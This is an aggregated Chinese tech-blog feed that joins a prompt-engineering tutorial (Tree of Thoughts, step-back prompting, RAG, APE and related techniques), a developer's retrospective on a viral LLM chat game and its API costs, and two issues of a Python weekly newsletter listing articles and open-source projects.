
  1. 思考分解(Thought deconposition) - 如何将推理中间过程分解成多个想法步骤

ToT 会根据问题属性去设计和分解中间的想法过程,每个想法应该足够小,使得语言模型可以生成有潜力跟多样的样本,同时又应该足够大,使得语言模型可以评估该想法解决问题的潜力;

  1. 想法生成器(Thought generator) - 如何根据当前状态生成候选想法

文中提供了 Sample 和 Propose 两个想法生成策略,前者利用 CoT prompt 多次采样,这种方式能保证多样性,在想法空间更宽泛时效果更佳,后者依据 "propose prompt" 依次生成想法,可以避免同一个上下文生成重复的想法,更适用于思维空间受限的场景;

  1. 状态评估器(State evaluator) - 如何启发性地评估状态

给定不同的当前状态,让状态评估器评估它们对于解决问题的帮助,以确定哪些状态值得继续探索,以及以何种方式探索;

  1. 搜索算法(Search algorithm) - 使用什么搜索算法

在 ToT 框架中,可以根据树形结构插入和使用不同的搜索算法,文中探索了两种相对简单的搜索算法:BFS 广度优先算法,每一步中保留最优潜力的 K 个状态;DFS 深度优先算法,优先探索最优潜力的状态,直到得到最终结果,或者超过当前状态被评估不可能解决问题就停止,如果是后者的话可以退回父节点,继续进行探索。

论文中使用 ToT 开展了三个不同的实验:24 点游戏、迷你填字游戏 和 创意文本生成,都取得了非常好的表现,论文作者还在 GitHub 上开源了他们的代码 princeton-nlp/tree-of-thought-llm,感兴趣的同学可以尝试下。

另外,除了 Shunyu Yao 等人发表的这篇关于思维树的论文外,Jieyi Long 也发表了一篇类似的论文 Large Language Model Guided Tree-of-Thought,他提出由强化学习(Reinforcement Learning)训练出的 “ToT 控制器”(ToT Controller)来驱动树的搜索策略,这种方法的好处是可以从新的数据集学习,或是在自对弈的过程中学习,使得 ToT 系统可以不断进化。

一般来说执行 ToT 的过程中会涉及到多次大模型的调用,在处理大型任务时 token 的消耗会非常大,于是就有人将 ToT 框架的主要概念概括成了一段简短的提示词,指导 LLM 在一次提示中对中间思维做出评估,下面是一些示例。

示例一

Imagine three different experts are answering this question.
All experts will write down 1 step of their thinking,
then share it with the group.
Then all experts will go on to the next step, etc.
If any expert realises they're wrong at any point then they leave.
The question is...

示例二

Three experts with exceptional logical thinking skills are 
collaboratively answering a question using the tree of thoughts method. 
Each expert will share their thought process in detail, 
taking into account the previous thoughts of others and admitting any errors.
They will iteratively refine and expand upon each other's ideas, giving credit where it's due.
The process continues until a conclusive answer is found.
Organize the entire response in a markdown table format.
The task is:

后退提示(Step-Back Prompting)

后退提示(Step-Back Prompting) 是 Google DeepMind 团队在论文 Take a Step Back: Evoking Reasoning via Abstraction in Large Language Models 中提出的一种新的提示技术,它的灵感来自于 当人类面对具有挑战性的任务时,其思维经常会出现退一步并进行抽象,以得出指导过程的高级概念和原则,后退提示解决问题的方法就是要求大模型先后退一步,重新考虑问题的基础原理,有助于避免直接跳入细节而导致错误。

后退提示使大模型能够从包含具体细节的实例中进行抽象,得出高级概念和基础原理,然后利用这些概念和原理来指导推理步骤,从而解决复杂问题。实验表明,在各种具有挑战性的推理密集型任务中,包括 STEM、知识问答和多跳推理,后退提示都取得了显著的性能提升。这种策略与思维链等直接解决问题的方法形成了鲜明的对比,下图对后退提示与思维链提示在解决问题的方法上进行对比:

step-back.png

左侧是思维链提示,它是一个直接解决问题的过程,按步骤逐一推理。第一个示例(顶部)来自 MMLU 高中物理题:如果温度增加 2 倍且体积增加 1 倍,理想气体的压力 P 会发生什么变化?,使用思维链提示对此问题进行推理时偏离了理想气体定律的第一原理。

第二示例(底部)来自 TimeQA 中的例子,当问及 Estella Leopold 在 1954 年 8 月至 1954 年 11 月期间去了哪所学校?,详细的时间范围限制让大模型很难直接解决,而后退提示会先询问 “教育史”,这是一个包含原始问题的高级概念,因此大模型可以得到所有必要的信息来推理 “Estella Leopold 在特定时期去了哪所学校”。

从图中可以看出,后退提示分为两个步骤:

  • 第一步:抽象(Abstraction):首先将问题的基础原理和概念提取出来。例如,面对理化问题,先问 “解决这个任务涉及哪些物理或化学原理和概念?”,从而让模型先确定这些原理和概念;
  • 第二步:推理(Reasoning):有了基础原理后,再进行问题的解答。例如,根据气体定律来计算压力如何变化。

后退提示鼓励大模型着眼于大局,而不是迷失在细节中,通过 “先抽象、再推理” 的过程正确解答问题,而不是仅仅依靠直观的连续思考。后退提示鼓励深入理解问题的本质,因此可以促进更深层次的思考和更精确的推理。

检索增强生成 (RAG)

实验表明,大型语言模型能够从海量数据中学习到广泛的世界知识,这些知识以参数的形式存储在模型中,经过适当的微调就能在下游任务中取得 SOTA 表现。但是模型容量再大,也很难记住所有知识,这类通用语言模型在处理 知识密集型(knowledge-intensive) 任务时仍旧存在一定的局限性,比如知识更新不及时、生成虚假信息以及对不存在来源的引用等问题,也就是我们所说的 幻觉(hallucination)

治理幻觉的方式有很多,比如:在训练时提供更高质量的数据,对模型进行微调补充领域知识,在 RLHF 时给予奖励模型对数据真实性更高的倾向性,通过 Prompt 引导大模型避免生成缺乏依据的信息,以及这一节所介绍的 检索增强生成(RAG,Retrieval Augment Generation)

大模型的幻觉并非一无是处,有研究者指出幻觉是让大模型产出创意的基础。

RAG 早在 GPT 等大模型出来之前就有了相关的研究,例如 Facebook 在 2020 年 的研究提出,将模型知识分为 参数记忆(parametric memory)非参数记忆(nonparametric memory),也就是内部信息和外部信息,同时结合这两类信息来回答用户问题可以提供更准确的回复,而且可以减少模型的幻觉。这里的外部信息可以是文档、数据库、网页、笔记、日志、图片、视频、甚至可以是从 API 获取的数据等等,通常我们将这些外部信息切块后保存在向量数据库中,然后基于用户输入的问题做检索。

一个典型的 RAG 包含两个主要的部分:

  • 索引构建:首先准备和加载数据,将数据划分成小的数据块,然后对每个小数据块做向量表征存储,方便后续做语义检索;
  • 检索和生成:基于用户输入的问题,尽可能地检索出最相关的数据块,将检索出的数据块作为上下文和用户问题一起组合成 prompt 让大模型生成回答。

rag.png

Yunfan Gao 等人在 Retrieval-Augmented Generation for Large Language Models: A Survey 这篇论文中对 RAG 技术做了一个全面的总结,推荐阅读。

目前有很多开源的工具可以用来打造 RAG 系统,比如 LangChainLlamaIndex 的官方文档中都有很多关于 RAG 的示例可供参考。

生成知识提示(Generated Knowledge Prompting)

使用检索增强生成(RAG)可以让大模型根据外部知识回答用户问题,由此可见,整合外部知识可以改善大模型的表现,有趣的是,我们也可以通过大模型生成知识来提高它自身的能力。这是由 Jiacheng Liu 等人所提出的一种新型的提示工程技术,叫做 生成知识提示(Generated Knowledge Prompting),在论文 Generated Knowledge Prompting for Commonsense Reasoning 中首次提出,使用生成知识提示不需要整合外部知识,相反,它直接从通用语言模型中生成知识,然后将这些知识作为上下文来回答用户的问题。

knowledge.png

它的核心思想如上图所示,包含了两个步骤:

  • 知识生成:在这个步骤中,我们提供少量的示例数据,要求大模型生成有关用户问题的一组事实,也就是知识;
  • 知识集成:然后将这些生成的知识作为上下文来回答用户的问题;

自动提示工程师(APE)

通过上面的学习我们知道,任务性能在很大程度上取决于用于引导模型的提示的质量,而大多数有效的提示都是由人工手工制作的,那么有没有一种方法能自动生成提示呢?

其实,提示的本质就是通过输入一系列的前缀文本,增加获取所需输出的概率。因此,我们可以将它们视为可训练的参数,并通过梯度下降直接在嵌入空间中进行优化,针对这个问题目前有很多相关的研究,例如 AutoPromptPrefix-TuningP-tuningPrompt-Tuning 等。

Yongchao Zhou 等人在论文 Large Language Models Are Human-Level Prompt Engineers 中提出了一种更简单的方法:自动提示工程师(Automatic Prompt Engineer,APE)

APE 的目的是自动化进行指令生成和选择,通过 LLM 生成指令,将这些生成的指令放到一个指令池中,选择一个打分函数对这些指令进行打分,然后选择出分数最高的指令。整个过程可以概况为三步:

  1. 给定一组输入输出对形式的示例数据,让 LLM 生成候选指令,比如:{{Given desired input-output pairs}}\n\nThe instruction is
  2. 对于给定数据集,制定一个打分函数,比如准确率或对数概率,我们希望找到一个指令能够令其最大化;
  3. 使用迭代的蒙特卡洛搜索方法,通过提供类似语义的变体提示来改进最佳候选者,比如:Generate a variation of the following instruction while keeping the semantic meaning.\n\nInput: ...\n\nOutput:...

可以将整个工作流分为 推理(Inference)评分(Scoring)采样(Resampling) 三步,其最大的特点是三步都是基于 LLM 实现的,如下所示:

ape.png

有趣的是,作者通过 APE 方法还发现了一个比人工设计的零样本 CoT 更好的提示:

Let’s work this out in a step by step way to be sure we have the right answer.

该提示在 MultiArith 上获得了 82.0 的性能得分:

ape-zero-shot-cot.png

另外,除了 APE,还有很多论文也对自动生成提示做了更深入的研究,比如:

主动提示(Active Prompting)

通过借鉴基于不确定性的 主动学习(Active Learning) 的思想,Shizhe Diao 等人提出了一种新的示例选择方法 Active Prompting,引入度量标准来表征不确定性,然后选择最不确定的问题作为示例数据,论文地址 Diao et al. 2023, Active Prompting with Chain-of-Thought for Large Language Models

和 APE 一样,Active Prompting 也是一种自动生成提示的技术,它的流程图如下:

active-prompt.png

主要分四个阶段:

  1. 不确定性评估(Uncertainty Estimation):针对数据集中的所有问题,向 LLM 重复请求 k 次,通过一定的算法对产生的答案计算不确定性;我们知道 LLM 的输出有一定的随机性,同一个问题得到的结果可能是稳定的也可能是不稳定的,第一步就是要找到数据集中的最不稳定的问题;
  2. 选择阶段(Selection):选择不确定性指标最高的问题用于后续标注;
  3. 标注阶段(Annotation):人工参与对选择的问题进行标注;
  4. 推理阶段(Inference):使用这些人工标注的问题作为 CoT 的示例进行推理;

定向刺激提示(Directional Stimulus Prompting)

这是一种相对比较简单的提示方法,由 Zekun Li 等人发表在论文 Guiding Large Language Models via Directional Stimulus Prompting 中,它通过训练一个可调节的 策略语言模型(Policy LM) 来生成关键词或其他提示信息,然后将其和用户输入组合在一起作为下游的 LLM 的输入,这种方法对大模型的特定方向给予刺激,所以被称为 定向刺激提示(Directional Stimulus Prompting,DSP),它在内容总结或内容创作任务中可以实现更好的效果。

dsp.png

整个流程如下:

  1. 首先通过人工标注的数据(输入和刺激)训练出一个策略模型,这个策略模型可以很小,比如 T5;
  2. 根据用户输入使用策略模型生成刺激,作为指导下游 LLM 的提示;
  3. 将生成的刺激与原始输入相结合,作为下游 LLM 的输入,以引导其向刺激的方向生成文本;
  4. 生成的结果可以通过强化学习对策略模型再次进行训练,使 LLM 与人工偏好更好地结合起来;

下图是论文中的一个示例,对比了普通提示和定向刺激提示的差异:

dsp-example.png

总结

提示工程是一门实践性很强的学科,需要针对不同的任务,采取不同的策略,不断尝试和探索,才能达到理想的效果。在这篇笔记中,我们学习了提示工程的概念和基本原则,以及一堆的提示工程技术或技巧,如少样本提示和思维链提示等,大大改善了大模型的推理能力。不过大模型在其他方面仍然存在很多不足,比如不擅长数值计算,无法求解复杂方程,不能访问外部知识和工具等,因此研究人员又提出很多想法希望对语言模型进行增强,比如检索增强、编程增强、工具增强等,这样的语言模型被称为 增强语言模型(Augmented Language Models)。通过结合外部知识和工具,我们就可以打造出更高级的智能体应用,我们将在下一篇笔记中继续学习相关的知识。

参考

更多

结构化 Prompt

应用产品

其他提示技术

多模态提示

基于图的提示

Prompt Ensembling

数学推理

其他

扫描二维码,在手机上阅读!

by aneasystone at January 26, 2024 12:02 AM

January 22, 2024

greatdk

哄哄模拟器的完整复盘,火了,但一度让我很发愁

24 小时涌入超过 60 万用户,消耗了大模型十几亿 token,发生 2000 万次对话,而事情的起源却是一次吵架。

 

需求的起源

几个月前,当时我和女朋友因为我现在已经忘记的原因而有了一些争吵,我一边看着对方骂我的样子,一边把对方想象成一个机器人,头上有个虚拟的进度条,我观察她的反应,假装成我的回应会让她头上的进度条发生变化,然后我就突然想到了一个产品创意:带有数值和反馈系统的基于场景的聊天。

我很快开始构建一个叫哄哄模拟器的 iOS APP,在 APP 内,我把常见的情侣吵架场景放入其中,每次进入一个场景,例如「你吃了对象爱吃的丸子,她生气了」,你都需要在指定聊天次数内将对方(AI)哄好,是否哄好则由「原谅值」决定,其会随着你的每次聊天而发生变化。

很久以来,我已经体验过太多的「聊天AI」了,无论是通用且强大的 ChatGPT还是专注于角色扮演的 Character.ai,他们都很强,但对我来说还是有一个小遗憾:他们只是聊天。

在聊天之外,如果能再加上数值系统和各种判定,那么就可以做出更游戏化的体验,此时大模型不仅负担起了聊天的任务,也会负担起基于聊天来做数值规则的任务,这在大模型出现之前,是不可能的,数值系统也都是按照既定规则来写死的。

开发哄哄模拟器,是我的一次实验,我发现我确实可以让模型输出拟人的回复,也能做好数值的设计。

App 上线之后,我照例在能发的几个地方发了一下,虽然有些响应,但最终用户就几百个人,因为是我业余做的,所以我也没在意,就放在那里没管了。

上周,公司内开始做一些新项目的选型,我也凑过去看了一眼,然后突然意识到,我经常被人误认为是全栈工程师,但其实我连 react 都不会写,这实在脸上无光,于是我准备开始学习 react,我学习新语言一般会直接从项目上手,所以我又一次想到了哄哄模拟器,并准备写一个网页版,来完成我的 react 入门。

学习新语言和开发新产品的过程已经和往日大不相同,在大模型加持的各种代码助手辅助下,我基本上很快就稀里糊涂的写完了第一个版本,并上线了。

哄哄模拟器网页版上线之后,我也发在了几个地方,包括我的微博,即刻,X,还有V2ex,但说实话,都反响平平,虽然我暗自感觉不应该感兴趣的人这么少,但考虑到也没投入啥成本,还顺便学了新东西,倒也不觉得难受。

 

神奇的流量涌入

变化发生在第二天晚上,睡觉前我看了一眼数据,突然发现在线有上百人,我马上通过嵌入的统计代码查看流量来源,但发现都是无法被统计的,这意味着流量应该不是从某个网站链接导入,也不是从搜索引擎,我几乎每一刷新,涌入的用户就还会再增加一点,当晚我观察到接近1点才睡觉。

在我睡觉之前,我还是不知道流量从哪里来,以至于我发了一条动态感叹「像是从黑洞来的」

睡前我最后看了一眼数据,即时在线人数是 2000

第二天早上起床后,我立刻查看数据,发现在线人数已经飙到了 5000,日活用户到了接近 10 万,在短暂的陶醉后,我立马意识到大事不妙,哄哄模拟器背后使用的大模型基于 GPT,我调用了 openai 的 gpt3.5 接口,这里的成本是0.0015美元/1000个token,而一个晚上我就跑了一亿的 token,为此我要付出的是 150 美元

但这只是一个晚上(还包括了大家都在睡觉的凌晨)的数据,如果按照这样的用量趋势持续一天,那我要付出的成本就会是上千美元了。

对于一个很接近玩具且做的很简陋的项目而言,每天几千美元的成本是不可承受之重。与此同时,用户量还在不断增加,几乎每刷新统计页面,就会新增数百人。

我一开始还在新高峰出现时截图,后来就懒得截了,我把精力放到了更紧迫的事情上面:找出用户从哪来,想办法变现,减少 token 消耗。

在网页上,我放置了联系开发者按钮,然后引导到了我的微博,半小时后,开始陆续有新的关注者评论,绝大部分都表示来自 QQ 空间和 QQ 群

我和其中一些用户聊了一下,大概找到了流量来源,起先应该是一个来自QQ空间的帖子介绍了哄哄模拟器,这篇帖子获得了数千次转发,既而又被发到了无数QQ群,并在群友中传播。

这也解答了为啥我一开始找不到流量来源的原因,QQ空间和QQ群都是比较封闭的生态,也无法追踪链接跳转的来源,这里面没有 KOL,传播节点也极其分散。

 

棘手的问题

等我中午时摸清用户来源的时候,用户即时在线已经突破了 2 万,预估的大模型账单也逼近了 1000 美元,我意识到,作为网页,且没有做注册登录的用户系统,即便我加入了广告,也无法平衡大模型的成本,和其它火起来的传统产品(例如羊了个羊)相比,基于大模型的哄哄模拟器,运行成本可能是它们的上千倍。

此时更棘手的一个情况出现了,因为大量的用户同时调用,把 GPT 接口的用量限制直接打满了,每分钟生成的 token 超过了一百万。

这让很多用户无法使用,于是我赶紧更新代码,用了粗暴的办法去降低用户的使用频率:1/2的概率,会提示繁忙,同时在用户完成一局对话后,如果哄哄失败,则必须冷静20秒才能开启下一局。

这样的调整让TPM (每分钟的模型 token ) 稳在了100万,但很快,在线用户增加到了3万,即便有上面的设置,tpm也依然被打满,这导致了大概有 1/3 的用户是无法使用的。

此时我选择性忽视了未来的大模型使用账单,一心想支撑下这波用户,于是我又找到了在奇绩创坛的校友尹伯昊,他是猴子无限的创始人,也有深度和 GPT 绑定的大模型相关的业务,他给了我一个API KEY,可以走他们的账号池调用GPT,并且支持极高的 TPM 限额,我将 1/2 的请求分配到了他的API下,此时用户也增长到了 4 万,但因为分流,所以勉强支撑了下来。

token 在两边都极速消耗,很快就在伯昊的账号下就跑了 100 美金的额度。而我自己那边我已经不想去看了。

缓一口气后,我开始尝试用其它模型替代 GPT ,这虽然在成本上不一定更划算,但至少有一些新的可能性,跑了几个差强人意的开源模型后,我尝试了 Moonshot,发现效果还可以,与此同时我刚好前不久加了月之暗面公司负责 API 的同学,于是我心一横,厚着脸皮直接向对方发了消息

 

Moonshot 同学很快拉了群和我对接,并慷慨的让我「先试试」,于是我开始进行调试,然后将1/5的模型调用量切给了 Moonshot ,我采集用户行为数据,观察使用不同模型时,进入下一步操作的比例,在接入 Moonshot 大约1小时后,我看了数据,发现和我之前使用的 gpt3.5 相差不大,于是我将切给 Moonshot 的用量逐渐提高。

其实我们也没有谈太多的条件,Moonshot 让我免费使用模型,我肯定也要在页面展示 Moonshot 的品牌信息,但除此之外,要有多少曝光?点击多少次?给我多少token?其实我们都没有谈,在跟对方交流的时候,我感觉双方都抱着开放的心态,像面对一场有趣的实验而不是什么商业合作,我们一起兴致勃勃的观察模型表现,以及用量的波动。

傍晚时,经过多次调试,也确认了这个调用量级没问题后,我将模型调用量全量切到了 Moonshot,此时我问了伯昊,他那边的成本消耗,最终定格到了 340 美元,伯昊没收我钱,而我将用一顿饭回报这次帮忙。

此时是晚上八点半,我终于吃上了当天的第一口饭。然后我打了一把 FIFA。

 

不太意外的意外

打完 FIFA 之后我回到电脑前,发现在线人数开始暴跌,此时我的心情比较复杂,一方面我对数据往下走有本能的失落,但又因为 token 消耗降低而松了一口气。而当我寻找数据下跌原因时,我发现这个原因丝毫不让人意外。

是腾讯屏蔽了哄哄模拟器的网页。

屏蔽发生在最活跃的晚上九点,此时最主要的传播链路——QQ和微信被拦腰斩断,大量抱着好奇心的用户被这个页面挡在了外面,流量以极快速度下滑,最终,当天涌入的用户一共是 68 万——如果没有屏蔽,在这个增速下,我想可能会过百万。

我当晚进行了申诉,第二天早上微信给我解封了,但十小时后,又进行了屏蔽——依然是在晚上最活跃的 9 点,在我申诉后又在次日早上解封,然后晚上继续屏蔽,过去几天这样大概重复了三四次,我也不明白为何要这样做——不给我个痛快,但流量在这样的折腾下迅速降低了。

微信生态素以严格著称,哄哄模拟器的流量激增可能触发了某种机制,也可能是某些用户故意引导模型输出出格内容后举报,让屏蔽不断发生,那个熟悉的画面,让我许多不愉快的记忆涌上心头。

但这一次,我其实没有那么不愉快,一方面我投入的并不多,说实话,这只是我做着玩的项目,同时我也知道,目前的哄哄模拟器,就是一个短期很难有商业回报的产品,它成本极高,而收益却极低——如果我不用非常极端的办法去恶心用户的话。

这样的一个产品,前途其实并不明朗。

 

大模型的验证

但这个小产品,我观察到的数据,却给我带来了关于未来的某些希望——用户们很喜欢它,很多用户把我放置的关卡全部通关,还有人在全部通关之后有逐个进行最短回复的挑战,B站,抖音都出现了大量体验,游玩或者吐槽的视频。

值得注意的是,这些用户和我之前做产品所接触的用户完全不同,他们是以大学生,高中生和年轻人组成的,最大比例的年龄区间为16-20岁,我想这可能是一开始我用自己的渠道到处宣传效果并不好的原因,说到底,我已经快 30 岁了,我身边的很多人,也差不多这个年纪,30-40岁的用户,和十几二十岁的用户,感兴趣的点,需求,想法,都有很大不同。

用大模型去做某种更复杂的,更游戏化的聊天体验,能够被人喜欢,至少在年轻人这里,是得到了初步证明的,而之后的问题则是,如何降低成本,如何构建好的商业模式,以及如何拓展到更多的方向上。

 

其他的想法

我听到了一种声音,可能带了一点情绪,我不确定,这种声音是:做这样不赚钱还亏钱的东西完全是浪费时间。首先我承认并且赞同人应该想办法赚钱过上更好的生活,同时我也认为我们应该保有更多的一些能力,例如感受趣味,它和赚钱不矛盾,但独立于赚钱这件事情。

用最前沿的技术,巧妙的做一个让几十万人用上的产品是很有趣的事情,当他们也因为这个产品而获得了乐趣的时候,我会感觉到我在和世界发生某种奇妙的连接,在某个可承受的范围内,我不计较成本,正是因为这个。

另一方面,我也有某个模糊的感觉,那就是在许多小需求得到满足的时候,就不应该去计较短期的,在承受范围内的成本,尤其是在现在,能够用大模型去实现功能和解决问题,因为这里面可能蕴含着更大的需求,或者能转化成更大的事情,当我们太过谨慎的时候,可能就错失了这种可能性。

话说回来,就算那种可能性最后没有验证,那又有什么关系呢,说到底,人赚钱也好,生活也好,最终不过还是希望能够开心,做哄哄模拟器的这个过程,我就很开心,足矣。

 

PS:哄哄模拟器:hong.greatdk.com

by DK at January 22, 2024 03:40 AM

January 20, 2024

pythoncat

Python 潮流周刊#36:Python 打包生态依然不乐观

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。

🦄文章&教程

作者一年前吐槽了 Python 打包的悲惨状况,一年后再看,有什么改善么?还是变得更糟糕了呢?文章讨论了社区里主流的打包工具、PEP 标准及其落实情况,尽管有不少新东西,但看起来还是很黯淡。
文章整理了去年 PyCon US 和 Python AU 的 243 个视频,按照 Youtube 播放数排序。都不算多,而且第一名和第二名的差距非常之大。
Java 中用synchronized 关键字可以保证变量是线程安全的,Python 中有什么东西可以达到相同效果么?文章介绍了threading 模块的 Lock + 上下文管理器 + 装饰器的实现方案。
PyPy 是一个 Python 解释器,它的 C API 兼容层存在一些性能问题,作者正在研究使 PyPy 的 C API 变快方法,文章介绍了他们所做的工作。
作者在用 Python 和 Kotlin 开发时,都接触了协程,因此写了几篇文章来比较它们的用法、分析它们的细节和工作原理,涉及文件读写、HTTP 请求、序列和生成器,可以加深你对协程的理解。
Pydantic 在处理 Unix 时间戳时会猜测是以秒还是毫秒为单位,但这遇到 1970 年的时间就有问题啦!众所周知,计算机世界的时间戳从 1970-1-1 开始(UNIX 纪元),这意味着早期的时间戳位数少,若当成秒级换算的话,谬之几十年!
如何在浏览器上实时执行代码片段?作者基于 WASI,开源了一个工具,可以在浏览器上执行 Python、PHP、Ruby、Lua、Javascript 和 SQLite 代码片段。
多线程环境中使用 SQLite,可能会出现“database is locked”错误,文章分析了两大原因(SQLite 等待锁超时、在事务读取后写入),介绍了对应的解决方案,特别提及 Django 本身提供的解决方案。
Polars 是基于 Rust + Arrow 实现的高性能 Python 数据处理库,这篇教程全方位介绍了 Polars 的相关知识。(附:另一篇同样主题的文章 Polars 实用教程
如何在 Python 中实现类似 React 的组件?作者准备用纯 Python 函数生成 HTML,使用lxml 库来渲染,文章介绍了一些基本的尝试,验证可行性。
用 SQL 能否实现一个大语言模型呢?ChatGPT 说这超出了 SQL 的能力。但是,作者不这样认为!文章详细介绍了实现 GPT 所需的相关知识,最终用 500 行 SQL 实现了出来!(附:作者从 2010 年以来每年用 SQL 实现一件不可思议的事,比如 用 SQL 求解魔方用 SQL 实现量子计算机模拟器 ……)
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

requests 库的直接替代,具有 HTTP/3、HTTP/2、多路复用连接、系统 CA、证书吊销、HTTPS/TLS/QUIC 或 UDP 上的 DNS、异步、DNSSEC,消除了 requests 的很多缺点。
Python 的 __slot__ 变量可以减少实例内存,防止添加动态属性。但要正常工作,所有基类都要实现它。这个库可以检查它是否损坏、重叠、冗余,提供了 pre-commit 钩子。
支持拖拽小部件、绘图、表格和其它可查看的 Python 对象组合到自定义分析工具和仪表板中,支持大量可视化工具,支持 ipywidgets 。(star 3.7K)
支持任意格式文件或数据库的本地知识库问答系统,可断网安装使用。一键安装部署,支持跨语种问答,支持选择多知识库问答。(star 1.9K)
TTS 同步产生脸部表情数据、声音到表情、生成身体动画。
通过 Hook Web 页面中的 Canvas 函数,获取文本及样式等信息,转换成 Markdown 格式,最终转换成 Epub、PDF 和 Mobi 格式。
这个项目收录了 400 多道 LeetCode 题目和不同语言的答案。
一个 PC 端的语音输入、字幕转录工具,完全离线、无限时长、低延迟、高准确率、中英混输、自动阿拉伯数字、自动调整中英间隔。支持热词功能、日记功能、转录功能等。
一个多语言文档 OCR 工具包,支持准确的行级文本检测。缺点是不适用于图片和手写文本。(star 3.6K)
强大的短镜头语音转换和文本转语音 WebUI,Zero-shot TTS、Few-shot TTS、跨语言支持、W ebUI 工具。(star 2.7K)
一个 Windows 上的 RAG 演示项目,基于 LLaMa 2 13B 模型、TensorRT-LLM 和 FAISS 向量搜索库。
以结构化、模板化的方式编写高质量 ChatGPT prompt,克服普通 Prompt 创建时缺乏系统性、缺乏灵活性等缺点。(star 2.8K)

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

January 20, 2024 12:00 AM

January 13, 2024

pythoncat

Python 潮流周刊#35:Python JIT 编译器和 Numpy2 即将推出

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。

🦄文章&教程

JIT(Just in Time)是什么?它的工作原理是怎样的?Python + JIT 能带来什么好处?copy-and-patch JIT 是 2021 年提出的设计,专为动态语言运行时而设计的高速算法。Python 3.13 有望实现它!上期周刊的第一则分享是关于它,本期我们继续哈~
NumPy 2 是一个重要的大版本,预计于 2024 年 3-4 月发布。它是一个不向后兼容版本,为了确保我们的应用不被破坏,有必要提前做些准备。文章介绍了新版本的不兼容修改、如何确保在合适的时机再安装新版本、如何轻松升级你的代码。
文章提出了一个疑问:在关注性能的科学计算领域,以前很流行 Fortran,为什么现在越来越多使用性能较慢的 Python?原因也许是人们高估了执行速度的重要性,编程的敏捷性和项目的可维护性更重要,而且替代方案的性能也不差。(附:Fortran 社区的讨论
Pandas 支持用 mergejoin 函数实现等价连接,但是不等价连接怎么办呢?文章介绍了两种比常规笛卡尔连接更好的方案:使用pyjanitor 库的 conditional_join 函数,既节省内存又不损性能;使用DuckDB 的 SQL 查询 DataFrame,性能极高。
Pandas profiling 是一个很流行的库(已改名ydata-profiling),仅需一行代码就能生成数据集的分析报告。这篇教程介绍了它的工作原理、如何导入和生成报告、分析和处理敏感数据、分析大数据、它的替代库及它的缺点等内容。
Python 装饰器是我最爱的特性之一。在我们自定义装饰器时,需要考虑元数据的丢失问题,functools.wraps 很关键。文章介绍了它的用处、如何使用它,以及如何传递自定义参数。
作者分享了如何用纯 Python 实现 Game of Life(用pysdl2 作图形输出),以 180fps 的 4K 分辨率运行,比传统的实现加速了 ~3800 倍。
想要提升 Flask 项目的安全性,免受安全漏洞侵害,有哪些最佳的技术实践?文章基于 OWASP Top 10 最常见漏洞,介绍了yaml.safe_load 加载 JSON、defusedxml 解析 XML、flask_wtf 保护表单、 secure_filename 处理文件路径、防 XSS 和 CSRF 的一些方法、构建安全 API 的 9 个建议,等等内容。涉及 Flask-SSLify、Flask-RESTful、Flask-HTTPAuth、Flask-JWT-Extended 和 Flask-Limiter 等库。
服务器发送事件 SSE 是 Web 服务器向网页发送实时信息的一种方式,无需页面重复请求。文章用完整的例子介绍了如何用 Python 实现它,最后也指出了它的两点局限性。
在人工智能时代,TODO 应用会是什么样子的?作者用 Django + 简单的 HTML + Whisper + mixtral-8x7b-instruct + SQLite 实现了一个 TODO 项目,值得借鉴学习!
这个 PEP 提议引入一个语法糖 f(x=) ,作为命名参数和值的变量名相同时f(x=x) 的简写。它与 f-string 的 f'{x=}' 相似,在 Ruby、JavaScript 和 Rust 中能找到类似的简写。据统计,这种模式占关键字参数用法的 10-20%。
这篇教程介绍了如何用Tkinterrembg 实现移除图像的背景,效果挺不错。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

与 Pandas 的df.describe() 函数一样,ydata-profiling 非常好用,只要一行代码,提供了对 DataFrame 的扩展分析,支持以 html 和 json 等格式输出分析报告。(star 11.7K)
这是用纯 Python 实现的轻量级库,用于检查和修改 PDF 文件,支持 CLI 和 API 用法。
在命令行终端里可视化操作 SQL。(star 1.6K)
用统一的方式调用 LLM,支持 Bedrock、Azure、OpenAI、Cohere、Anthropic、Ollama、Sagemaker、HuggingFace、Replicate 等 100+ LLMs。(star 4.4K)
对文档(如 PDF、HTML、WORD等)和图像等非结构化数据作预处理,提供分区、清洗、暂存、提取、分块和嵌入等方法。(star 4.2K)
可选择 GPT3.5/GPT4.0/Claude/文心一言/讯飞星火/通义千问/Gemini/LinkAI,能处理文本、语音和图片,访问操作系统和互联网,支持基于自有知识库进行定制企业智能客服。(star 19.9K)
对语音识别模型 Whisper 的增强,拥有更准确的时间戳、多说话人检测,并通过增强语音活动检测来减少幻觉,速度更快,占用内存更少。(star 7.4K)
一个编程练习网站,提供了 42 道 Python 小项目练习题,有解答思路分析和参考答案。
一个食谱管理项目,具有 RestAPI 后端和用 Vue 开发的反应式前端。支持 PC、平板和移动端,可使用 url 轻松添加食谱,支持用户管理和群组管理。(star 4.3K)
大语言模型没有按预期回应,有什么办法?这个库可以指定输出结构和类型,可验证和更正大模型的输出,提升内容质量。(star 2.7K)
快速构建类型 ChatGPT 的 Web 应用,集成了 Langchain、Autogen、OpenAI Assistant、Llama、Haystack,可自定义前端实现全部功能,包括监控和观测、身份校验机制、多用户、各种工具无缝集成等。(star 4.3K)
可在大型数据集上进行生产就绪的全局预测和时间序列特征提取,支持时间序列预处理、交叉验证拆分器和预测指标(MASE、SMAPE 等)。

🥂讨论&问题

Python 为什么需要用虚拟环境?为什么 Python 会用这种包管理机制?包管理软件需要解决什么样的问题?
在不能调用 API 的情况下,如何让 Java 项目调用 Python 项目?JNI-CPython-Python 方案有什么问题?打包成 EXE 和 so 实现如何?

🐼欢迎订阅

